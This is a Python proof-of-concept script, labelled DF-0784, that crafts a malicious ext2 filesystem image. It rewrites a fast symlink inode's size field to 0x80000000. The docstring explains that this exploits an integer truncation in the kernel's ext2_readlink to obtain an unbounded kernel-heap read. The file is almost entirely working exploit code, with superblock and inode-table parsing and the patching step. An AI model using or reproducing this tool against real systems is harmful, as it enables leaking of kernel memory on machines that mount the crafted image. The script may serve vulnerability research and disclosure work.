DF-0784 / craft_img.py
#!/usr/bin/env python3 """ DF-0784 image patcher. Takes a clean ext2 filesystem image that already contains a fast (inline) symlink and rewrites the symlink inode's on-disk `e2di_size` field to 0x80000000, so that `i_size` becomes 0x0000000080000000 in the in-memory `struct inode` (uint64). In `ext2_readlink` (sys/vfs/ext2fs/ext2_vnops.c:1350-1354): int isize; isize = ip->i_size; // truncates to (int)-2147483648 if (isize < vp->v_mount->mnt_maxsymlinklen) // -2^31 < 60 -> TRUE uiomove((char *)ip->i_shortlink, isize, ap->a_uio); // isize is promoted int -> size_t == 0xFFFFFFFF80000000 This is the unbounded kernel-heap read primitive of DF-0784. Usage: craft_img.py <image> <inode_number> # default patch: 0x80000000 craft_img.py <image> <inode_number> 0xDEAD0000 # custom 32-bit size """ import struct import sys # ext2 superblock field offsets (all little-endian uint32 unless noted). # See sys/vfs/ext2fs/ext2_sb.h s_es layout. The superblock lives at byte 1024 # of the image (block 1 for a 1KB-block fs). SB_OFF = 1024 S_LOG_BLOCK_SIZE = 24 # uint32, block_size = 1024 << s_log_block_size S_INODES_PER_GROUP = 40 S_FIRST_INO = 84 # first non-reserved inode (we don't actually need it) S_INODE_SIZE = 88 # uint16, bytes per inode S_FIRST_DATA_BLOCK = 20 # uint32 (=0 for 1KB-block fs, =1 otherwise) # Per-block-group descriptor. The descriptor table starts in the block # immediately after the superblock. Fields we need: BG_INODE_TABLE_LO = 8 # uint32, block number of inode table (low 32 bits) def patch(image_path, ino, size32): with open(image_path, "r+b") as f: data = f.read() # --- parse superblock --- sb = data[SB_OFF:SB_OFF+1024] log_bs = struct.unpack_from("<I", sb, S_LOG_BLOCK_SIZE)[0] block_size = 1024 << log_bs inodes_per_group = struct.unpack_from("<I", sb, S_INODES_PER_GROUP)[0] inode_size = struct.unpack_from("<H", sb, S_INODE_SIZE)[0] first_data_block = struct.unpack_from("<I", sb, S_FIRST_DATA_BLOCK)[0] print("[*] block_size = %d" % block_size) print("[*] inodes_per_group= %d" % inodes_per_group) print("[*] inode_size = %d bytes" % inode_size) print("[*] first_data_block= %d" % first_data_block) # --- block-group descriptor for the group containing `ino` --- group = (ino - 1) // inodes_per_group bgdt_start_block = first_data_block + 1 bgdt_off = bgdt_start_block * block_size + group * 32 inode_table_block = struct.unpack_from("<I", data, bgdt_off + BG_INODE_TABLE_LO)[0] print("[*] inode %d -> group %d, inode_table @ block %d" % (ino, group, inode_table_block)) # --- locate on-disk inode --- ino_index_in_group = (ino - 1) % inodes_per_group inode_off = inode_table_block * block_size + ino_index_in_group * inode_size print("[*] on-disk inode byte offset = %d (0x%x)" % (inode_off, inode_off)) old_size = struct.unpack_from("<I", data, inode_off + 4)[0] print("[*] old e2di_size = 0x%08x" % old_size) print("[*] new e2di_size = 0x%08x" % size32) f.seek(inode_off + 4) f.write(struct.pack("<I", size32 & 0xFFFFFFFF)) f.flush() print("[+] patched.") if __name__ == "__main__": if len(sys.argv) < 3: print(__doc__) sys.exit(1) image = sys.argv[1] ino = int(sys.argv[2]) size32 = 0x80000000 if len(sys.argv) >= 4: size32 = int(sys.argv[3], 0) patch(image, ino, size32) |